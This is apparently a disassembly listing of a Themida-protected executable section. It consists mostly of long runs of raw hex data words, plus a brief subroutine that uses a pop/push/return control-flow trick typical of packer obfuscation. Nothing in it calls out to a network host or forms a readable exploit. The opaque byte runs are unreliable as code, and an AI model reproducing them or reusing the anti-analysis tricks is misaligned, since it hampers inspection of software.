		dd 6AF54044h, 0F8856A2Ch, 1674FBE1h, 9BFE661Bh,	737C7214h
		dd 0E91F0649h, 0E8AF91Fh, 2D896603h, 758EF79Ah,	0EE6E7405h
		dd 75E6C967h, 0FEF93198h, 6755FBACh, 238BFF17h,	0CA1965AAh
		dd 738F7222h, 402CD6E2h, 73E372A9h, 7317911h, 73E0B012h
		dd 7F58369Ah, 733E9A42h, 0F2447211h, 738F65D2h,	579BFB11h
		dd 57A7FB01h, 44492905h, 8CF8C3EBh, 5738F9F1h, 7CDE8D15h
		dd 731F7C9Dh, 0FE041211h, 75D373A4h, 5FAAE798h,	13907405h
		dd 73FEFB1Eh, 0CE777211h, 752A6B88h, 0F37E8B9Ah, 0FEEED3D8h
		dd 64609CACh, 0B46EFF17h, 0CBF765AAh, 0EBDED924h, 7485F722h
		dd 0BC157405h, 7B139BD0h, 129BAB72h, 31737C72h,	9828FD29h
		dd 90773B2Eh, 977AB36h,	8373C772h, 0A4F305E9h, 0BD03D98Bh
		dd 614296Dh, 41F28166h,	70E925h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E9EBEAC3h
		dd 0Bh,	8AD06816h, 0C5615E6Dh, 6144C325h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 0A3C35747h, 4CCFFAD7h
		dd 890FBFCEh, 13h, 0EE9h, 43A5E300h, 4F6DF597h,	6DBE944Bh
		dd 60AC290Ah, 0C361C28Bh, 0C08B6160h, 0C9816660h, 0E9612F3Ch
		dd 6, 0BBC16901h, 0BD83EACDh, 61410F1h,	83097500h, 140E25BDh
		dd 19740006h, 0C08B5350h, 4B9B8h, 0F1858900h, 8D061424h
		dd 16A7B99Dh, 5BD3FF06h, 25BD8358h, 6140Eh, 53501774h
		dd 4B9B8h, 0F1858900h, 8D061424h, 16A45A9Dh, 5BD3FF06h
		dd 51006A58h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 15820F69h, 60000000h, 0E8DAB70Fh, 0Ah, 812A595Eh
		dd 0BCE59ACEh, 6158F171h, 0C7CD8060h, 0CED5BE66h, 53006A61h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 8BA45B3Dh, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 9E94Bh, 0D42E0000h, 32BF8A0Ah, 402904E4h
		dd 6E9C18Bh, 0E6000000h, 0C0802570h, 4EBBCh, 89000000h
		dd 14081585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 413F4D39h, 0BD0B9060h, 6140025h
		dd 0C25BD89h, 858D0614h, 6140791h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 39C35343h, 58B39B1Bh, 0F279621h
		dd 0FA8BFBBFh, 5D14E681h, 0F505CD2h, 587h, 0ABA4BE00h
		dd 4890ACCh, 56006A24h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 8164669Bh, 0A08D88D7h, 6A006A1Dh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 328CC356h, 0B54274E3h, 9BF2C42h, 14165585h
		dd 0F9006A06h, 1CCD8529h, 858D0614h, 617BEE7h, 6A05C083h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0D25EC355h, 1E6734CFh, 11BD895Ch,	66061423h
		dd 8950F78Bh, 81662404h, 6A9BB6C6h, 0FACF8100h,	6A547589h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 52B6CE25h, 66DA8EE9h, 0FFEFD2BEh, 141B1995h
		dd 8DB58B06h, 66061409h, 0AF20E681h, 0A7789D8Dh, 0BD8B0617h
		dd 6142A91h, 0B58BD3FFh, 6141279h, 2DED85FFh, 6A0614h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E90C94C3h, 6ECh, 0E8h, 0ED815D00h, 617BEF1h, 3E5B58Bh
		dd 0BD810614h, 6142C05h, 7D0h, 1A8860Fh, 0F4BE0000h, 8B773CEDh
		dd 1431259Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1B04h, 0C3564600h, 3E60AFD9h, 7B966D32h, 0DE9h, 0BC231700h
		dd 8B320497h, 39DCFB1h,	0E381D676h, 100h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Ch, 0C8C35242h, 0CD644B7Fh
		dd 660A08EDh, 8E9h, 0E664CE00h,	0DA6AB3EDh, 5860F10h, 0BF000000h
		dd 18BBBDF1h, 850FDB0Bh, 0BAh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 52C35545h, 0F048BF32h, 0BD831C93h
		dd 617BD5Fh, 4C840F00h,	6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 30BCC356h
		dd 66895B90h, 315F681h,	71E9h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 1EEF287Ch
		dd 0C7E9A854h, 17BD5F85h, 106h,	63F78100h, 502758DBh, 4BDB589h
		dd 0E95F0614h, 32h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0BBC35747h, 606541EAh, 85C75A54h, 617BD5Fh
		dd 0
; ---------------------------------------------------------------------------
		mov	esi, [ebp+61425CDh]
		lea	ebx, [ebp+6143125h]
		push	0
		push	ebx
		call	sub_5B9C0F
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B9C0F	proc near		; CODE XREF: Themida_:005B9C07p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5B9C0F	endp

; ---------------------------------------------------------------------------
		db 0B8h
		dd 0DF81C0A1h, 6AA9AF06h, 0FEFF2381h, 6AFFFFh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 6DC4F5C3h, 24E99589h, 8C660614h, 4C3F6DBh, 3F840Fh
		dd 85890000h, 6141529h,	121195FFh, 9D890614h, 6142A8Dh
		dd 0E8BEBF90h, 8B5062B5h, 6A90F7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 150424h, 55450000h, 8B1432C3h, 140015BDh
		dd 389E906h, 81660000h,	0BEBD53CEh, 5BC32Eh, 6A00B0h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 8B6661C3h, 0E6F38BFAh, 57006A70h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 0AFE78130h
		dd 0E4687554h, 4BBF6671h, 0D8B60FF3h, 6BAh, 0DB52B00h
		dd 8B061416h, 4E8C1C3h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 0F3C35040h, 4CAC48AEh, 3351DA35h, 0F9E2F766h
		dd 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 6C50C3C3h, 0FE80Dh, 6DA90000h, 0A6ECA9BBh
		dd 0DB6A3ADEh, 64323F68h, 935EF54Ah, 33B1BF66h,	0E9609350h
		dd 12h,	0E248B4B9h, 2FE3DBC3h, 5870A39Dh, 5B62D9B4h, 0BD01CA33h
		dd 61406C1h, 5B5FF61h, 6A06142Ch, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 7EF0C351h
		dd 260DB589h, 0BF660614h, 95FF1CF8h, 6142971h, 6A00B0h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0E6899BC3h, 71E4F570h, 701BD8Bh, 0CE80614h, 10000000h
		dd 1CAABD99h, 0FA85CFA9h, 8BBC3D95h, 14180DB5h,	613C5E06h
		dd 21D830Fh, 0B60F0000h, 0CE960D8h, 67000000h, 57D1D48Bh
		dd 1B5FBDAh, 89AFC115h,	1416EDBDh, 8D896106h, 6140711h
		dd 6BAh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 2EBF66F4h, 6AC38B22h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 22F5C355h
		dd 5D73BDB8h, 8B9F4827h, 1400B9B5h, 19B58B06h, 0C1061411h
		dd 0B58B04E8h, 6141235h, 6AE2F766h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0D660C352h
		dd 18B1B58Bh, 0D82B0614h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 9AC35040h, 0EE986h, 7FCB0000h, 0F7C22014h
		dd 4033D997h, 0AD6BDA67h, 0A9950158h, 2B06142Dh, 34880FD8h
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 4152C353h, 0F2B70F3Dh,	7B9h, 59BD8B00h
		dd 83061410h, 0BD8900C1h, 614064Dh, 860FD93Bh, 0F7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 2AC35141h, 7E8589Ch
		dd 4D000000h, 4E2CE3EAh, 880F0BE8h, 6, 2D99B58Bh, 665F0614h
		dd 8B66EABFh, 0D98C66FAh, 8E9h,	5D13B000h, 0DA0D2587h
		dd 4C1F6F9h, 7A840Fh, 5F570000h, 121195FFh, 51600614h
		dd 5BC3B70Fh, 2D21BD89h, 5B610614h, 110DB58Bh, 0BF0F0614h
		dd 66C32BF0h, 3D2219BEh, 834h, 4A860Fh,	14E90000h, 0EC000000h
		dd 9E38DF3Ch, 1D66E2FDh, 0B8E4F603h, 5596AF9Fh,	0E92E61D9h
		dd 53h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
		dd 0CC35646h, 7F4C0E01h, 0F25392Fh, 8589FFB7h, 6140C41h
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 2D7C89C3h, 49958957h, 8B06141Ch, 6AD88BC3h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 457DC353h, 0A9858950h, 5F06141Ah,	10C585C7h
		dd 75350614h, 0BE9382Eh, 0E7000000h, 6A5A2D11h,	392BA5FBh
		dd 0C08BF129h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	95C35040h, 812A595Eh, 89E59ACEh, 1403F18Dh, 11BD2906h
		dd 81061408h, 142C05BDh, 7D006h, 58850F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 9B84C353h, 23384AAAh, 25B58B2Fh, 0FF061423h
		dd 142C0585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 5EE79D8Bh, 0EF6E09FBh, 31BD89C4h
		dd 0FF061431h, 142C05B5h, 18B0F06h, 0FC000000h,	297195FFh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
		dd 56460000h, 0B9D15EC3h, 0ED057B10h, 896D8F10h, 141391BDh
		dd 78B89006h, 89123456h, 140CC5BDh, 0AA9D8D06h,	0E90617C5h
		dd 0FFFFF92Ch, 0FE9h, 0A6754100h, 0FFD74EB5h, 5000BE51h
		dd 67039C63h, 257CBE66h, 78BFC18Bh, 0EB48AF34h,	4, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 4181C7AAh, 8BB95A52h, 0F08B66B6h, 0E9FB8B66h, 8, 10865A51h
		dd 183E06EEh, 791858Dh,	95890614h, 61420C5h, 0E8525050h
		dd 7, 86857365h, 0E8820309h, 10h, 6E317B9Ch, 0A4D530A7h
		dd 0E87E2E3Eh, 9B81A15Bh, 310F5F5Fh, 28F0Fh, 61600000h
		dd 489585Ah, 52006A24h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 6AD241h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 30C35040h, 66006A6Bh, 8B02EE81h
		dd 0C798858Dh, 6A0617h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 660CCDC3h, 833A03BEh, 6A05C0h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 6C1BCCC3h, 0CA87DC2Eh, 72F78166h, 525050DCh,	38F0Fh
		dd 8B660000h, 66310FF7h, 5A1518BEh, 24048958h, 880Fh, 8D890000h
		dd 61430E1h, 9D89006Ah,	614261Dh, 5E9006Ah, 5F000000h
		dd 0DAA4B1DEh, 1B1995FFh, 8DF50614h, 17A7789Dh,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0EBAA02F8h, 0FEF781E3h, 0FF370A6Dh, 50006AD3h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0ACEDE973h, 2DED85FFh, 11E90614h, 0F6000000h, 0D8FB03Fh
		dd 58F1A3ACh, 737E5B7Fh, 0B5D6F54h, 0E52E9h, 0E800h, 815D0000h
		dd 17C7A2EDh, 8DBD2906h, 81061411h, 142C05BDh, 7D006h
		dd 87860F00h, 8B000001h, 699D8BFEh, 6A06141Ch, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 5508C353h, 7F594DDBh, 0E38192h, 6A000001h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 44D2C351h, 9F5A3026h, 6A0D3511h, 1B21B529h, 0DB0B0614h
		dd 0AF850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0C33C5C3h, 0CABA60CBh, 837B3BE6h
		dd 17C5E1BDh, 840F0006h, 2Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0F2C35545h,	0D8E4163Ah, 6BE9ABh
		dd 95310000h, 6141005h,	0C5E185C7h
		dd 10617h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 911706C3h, 37E9AFh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 66EC69C3h, 0BD0394BEh, 0E185C72Ah, 617C5h, 66000000h
		dd 295540BEh, 1422E58Dh, 699D8D06h, 6A06141Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 15042444h, 41000000h
		dd 0ECC351h, 0EE9h, 0EAC6EC00h,	5984722Eh, 85F4CBE0h, 81FFA1B1h
		dd 0FFFEFF23h, 52006AFFh, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 2B92B315h, 50B8DFBCh
		dd 8C665F51h, 57006ADBh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 0F87AC333h, 0F04C3F6h, 5484h, 8E900h
		dd 0FEA80000h, 8CC32D70h, 95FFD985h, 6141211h, 92BC71BEh
		dd 0EE95024h, 5000000h,	42612573h, 5E48E020h, 0C82EE016h
		dd 2404897Fh, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 17h,	0BAC35646h, 89E48BD7h, 1400F185h, 3E5E906h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
		dd 0BB0163C3h, 1585200Dh, 0B0A520EDh, 6A70E600h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 0E40EC356h, 0CE8h, 0B64ED200h, 7F73D7D2h, 0B660770Ch
		dd 0FE8CCh, 498B0000h, 587F5FB7h, 0D5D099CDh, 3CCDCDC4h
		dd 3995012Eh, 5E06140Fh, 8B71E45Fh, 141E19B5h, 0D8B60F06h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 69C35545h
		dd 6E68B499h, 726ABB18h, 844FBE88h, 6BA5FF0h, 81000000h
		dd 608C00E7h, 0A8B0F57h, 0E9000000h, 5,	8DA72BCh, 0F9C38BA1h
		dd 6A04E8C1h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0FB29C351h, 9D2C6832h,	19ADCCD2h
		dd 2BE2F766h, 0B58B60D8h, 6140D49h, 0BF669361h,	5050AFC9h
		dd 0F310F52h, 282h, 5AF78B00h, 6A9358h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 9A100C3h
		dd 14315585h, 7CBF6606h, 5B5FFD4h, 0F06142Ch, 683h, 0FDB58900h
		dd 0FF061407h, 14297195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 0E8788852h
		dd 0B5296D85h, 6142A85h, 0B58B00B0h, 6140075h, 0EBC6BE66h
		dd 6A70E6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0DE8130C3h, 755665DDh, 6A71E4h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 708398C3h
		dd 0DE9D8078h, 0BF0FC9E7h, 0F613CF8h, 20E83h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1904h, 0C3534300h
		dd 8EE6F70Bh, 81663A59h, 0F1B69D6h, 6AD8B6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 95894EC3h
		dd 6BACAh, 0CE90000h, 37000000h, 358DD79Ch, 81403D91h
		dd 8B3D7404h, 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 96B0301Ch, 0E8C19F60h, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 7EB79247h, 1BF07AB7h, 0AFEE8166h, 0E2F76660h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 82C35141h, 29EF095Ah
		dd 0FD2BD91Fh, 9E960h, 0E6150000h, 0D257193Ch, 66D2B64Eh
		dd 615682BFh, 8B66D82Bh, 6A58FCFAh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 2B8AC350h
		dd 0FC880FD8h, 8B000000h, 142B71BDh, 7B906h, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0D9C2FAC3h, 1E2319B0h, 0BD89BEA0h, 61409A1h,	6A00C183h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 2D91C356h, 8D8999DAh, 6141F91h, 860FD93Bh
		dd 97h,	20C58589h, 9D290614h, 6140CA9h,	8BD98C66h, 143435B5h
		dd 4C1F606h, 75840Fh, 0D1BF0000h, 0FF683F63h, 14121195h
		dd 85895B06h, 614005Dh,	6AC32Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 7068B6C3h, 0DDFF7357h
		dd 0E68113ACh, 146C9134h, 8343Dh, 2C860F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0FD8C357h, 88h, 9E900h, 69BF0000h, 8B49E305h
		dd 8B5E57C0h, 6AD88BC3h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 0E9A9C353h,	0Bh, 34418B22h
		dd 53B26601h, 8B78DF7Ch, 141C01B5h, 2585C706h, 9D061431h
		dd 297B9A01h, 14231D9Dh, 81C08B06h, 142C05BDh, 7D006h
		dd 4E850F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 85D5C353h, 17A2E588h
		dd 5A4BF58Dh, 585FFF9h,	6A06142Ch, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BA3C350h
		dd 140E61B5h, 5B5FF06h,	6606142Ch, 2713D781h, 297195FFh
		dd 0BF660614h, 4090CDA5h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 6C35242h, 858996F4h, 6141229h, 36DBD83h
		dd 0F000614h, 0E584h, 0FFB70F00h, 2FE5BD83h, 0F000614h
		dd 0D584h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 823E300Ah, 7A7B8F0Eh, 0BE9FCh, 60920000h
		dd 8334FBFBh, 62BCA0ECh, 6D95FF60h, 60061403h, 2E519D8Bh
		dd 0EE80614h, 0B6000000h, 0B579440Bh, 0ADCEAA37h, 7592CD73h
		dd 759D8B29h, 5F06140Ch, 0FC00B61h, 7184h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0AA0CE4BAh, 880B1AB5h, 0F59D89BBh, 2906140Fh, 142D5D9Dh
		dd 0FF8D8D06h, 6A06144Dh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0DD4C355h, 0AE9h, 0ED34CD00h
		dd 0AE4AB809h, 0B87212C1h, 5, 89E1FFF5h, 140B49B5h, 0BD83F506h
		dd 6140411h, 2E840F00h,	6A000006h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 4350C352h
		dd 8388F490h, 142FE5BDh, 840F0006h, 601h, 70CF8166h, 498D8D08h
		dd 0F061431h, 1C7FBBFh,	44B27C84h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0F4C35545h,	76276B84h, 3121BD03h
		dd 1810614h, 1499CFCBh,	2D6DBD01h, 41C70614h, 706B3404h
		dd 53006ACEh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1704h
		dd 0C3534300h, 0A6D7AF86h, 8F0Fh, 41810000h, 0D6D71004h
		dd 52006A31h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0E81B585Dh, 8B006A4Eh, 140B9DBDh, 3810F06h
		dd 0F000000h, 858DF6B7h, 6143149h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch
		dd 2EC35646h, 8D28BA4Eh, 4AD57650h, 3DB58960h, 0E806142Ah
		dd 0Fh,	451232F5h, 98F245A6h, 0E6C3BF61h, 0E8F28DC2h, 11h
		dd 8B604221h, 79F9810Fh, 0CE22BB10h, 0AD5CE6B5h, 615A5B69h
		dd 3EBE6650h, 240489A3h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 16h, 0A3C35242h, 0F7817139h, 63971237h, 41195FFh
		dd 6A0614h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 0CBFFF1C3h, 98DB58Bh, 8D8D0614h, 6143149h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0D9C35343h
		dd 44667B1Bh, 520B74EAh, 7E82Ch, 43BE0000h, 0C2C37BA6h
		dd 3880F88h, 66000000h,	0C75EF08Bh, 1, 0F9BD8B00h, 0C7061400h
		dd 441h, 13E80000h, 0CA000000h,	8BF40132h, 5117C6A3h, 5ACEF06h
		dd 0B9769CC8h, 14E9327Fh, 0C1000000h, 0C8219241h, 42EC0518h
		dd 0BC1AEC7Dh, 0DAA80F3Ch, 5F2D2356h, 840FC00Bh, 48h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C8C35545h, 4DE4415Bh
		dd 0BF66AE3Ch, 8D8DB2AAh, 6144DFFh, 0B8F8F98Bh,	5, 6860Fh
		dd 0DF810000h, 595C1777h, 9529E1FFh, 6141FC5h, 31498D8Dh
		dd 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 60A82DC3h, 8589D38Bh, 6142B21h, 7C01C761h
		dd 6A44AA72h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 8195C353h, 99CFCB01h, 68F0F14h
		dd 89000000h, 1415C59Dh, 441C706h, 0CE78753Ch, 189EBF66h
		dd 10044181h, 6631D6D7h, 611CEF81h, 0BF0F006Ah,	49858DF8h
		dd 50061431h, 5F5F5257h, 6A240489h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 9C9C352h
		dd 0FF89AD7Ch, 14041195h, 498D8D06h, 0F061431h,	68Bh, 49BD8B00h
		dd 0FC06140Fh, 1C7h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 85B336C3h, 0AA2891C6h
		dd 0BD0B1E59h, 61416BDh, 441C7h, 8B000000h, 0FC00BFBh
		dd 7E84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1404h, 0C3564600h, 0FF88BACh, 8D8DF1B7h, 6144DFFh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 96C35242h, 1681A2B7h
		dd 0AC74BF71h, 5B801AFh, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0F360C355h
		dd 2D9CF564h, 1FBE6677h, 0F1BF0FD2h, 8DFCE1FFh,	1431498Dh
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 830FD1B0h, 0Dh, 8E9h, 0B4EBE500h, 97597542h
		dd 0A501C7BBh, 8954CA95h, 140A89BDh, 68D0F06h, 8B000000h
		dd 141689BDh, 0CB018106h, 8B1499CFh, 14106DBDh,	441C706h
		dd 0CE5F5969h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 16h,	0E2C35242h, 0B52B0D03h,	6140BC9h, 10044181h, 0E931D6D7h
		dd 11h,	1B1F9B37h, 3A779671h, 0EF2378D9h, 10042D63h, 31006A1Ch
		dd 140ED585h, 0F58D2906h, 8D061407h, 14314985h,	52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 15EEF1A1h, 95895353h, 61425CDh, 50905E5Eh, 0F5E5652h
		dd 11E931h, 6160000h, 287E6E96h, 4961BA91h, 1024C83Dh
		dd 5A0755FCh, 9E85058h,	5D000000h, 4C35F612h, 0D2D8D54Ch
		dd 6890Fh, 850F0000h, 0
		dd 8B60905Eh, 142E1985h, 0BB666006h, 5F56BE22h,	95FF6161h
		dd 6140411h, 0FE860h, 0AC7E0000h, 8532062Ah, 0F24A046Fh
		dd 86A94557h, 0EC14BF25h, 605F2CD5h, 840Fh, 0BF0F0000h
		dd 8D6161FEh, 1431498Dh, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 82030986h, 67BC13E1h
		dd 0BB7FEDBFh, 0F1B58B16h, 0C7061418h, 1, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 64C94740h, 1A2F4A9Bh, 0F8BEC681h, 41C763CBh,	4, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 8962C745h, 0CD1A7F11h, 0BFE8B66h, 5A840FC0h,	81000000h
		dd 7D12D6C7h, 0FF8D8D62h, 0E906144Dh, 5, 29C7C2D0h, 5B867h
		dd 830F0000h, 6, 0BF5BD89h, 0E1FF0614h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 62C35040h, 0F25E4C3Fh
		dd 0B72F9D03h, 0D4D681F5h, 814CBCB6h, 6E4533CEh, 0E9CA037Dh
		dd 0FFFFF1D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 17h,	94C35141h, 8BF4541Ah, 141A6DB5h, 0AD8D2906h, 8B061401h
		dd 0C18529C1h, 0EB061400h, 4, 0B5895000h, 6142E85h, 50006A5Eh
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 0AA6988h, 0F79F508Ch, 858DE34Ah, 6140791h, 33E5B589h
		dd 66500614h, 8934E3BEh, 0BD092404h, 6142E35h, 0BF0F006Ah
		dd 6A006AF9h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 7DA9C350h, 4D7E0D01h, 7E83Eh
		dd 2C540000h, 7C45D0E9h, 858D5F49h, 617D774h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 69C35646h, 158A6860h
		dd 0BF6601BCh, 0C08360FAh, 0FE8B5205h, 5E51505Eh, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 5F7AC356h, 7FA31218h, 758589FCh, 89061416h
		dd 141E958Dh, 6A006A06h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 19042444h, 42000000h, 9423C352h, 1317C8B6h
		dd 8B66006Ah, 598509F8h, 0FF061429h, 141B1995h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
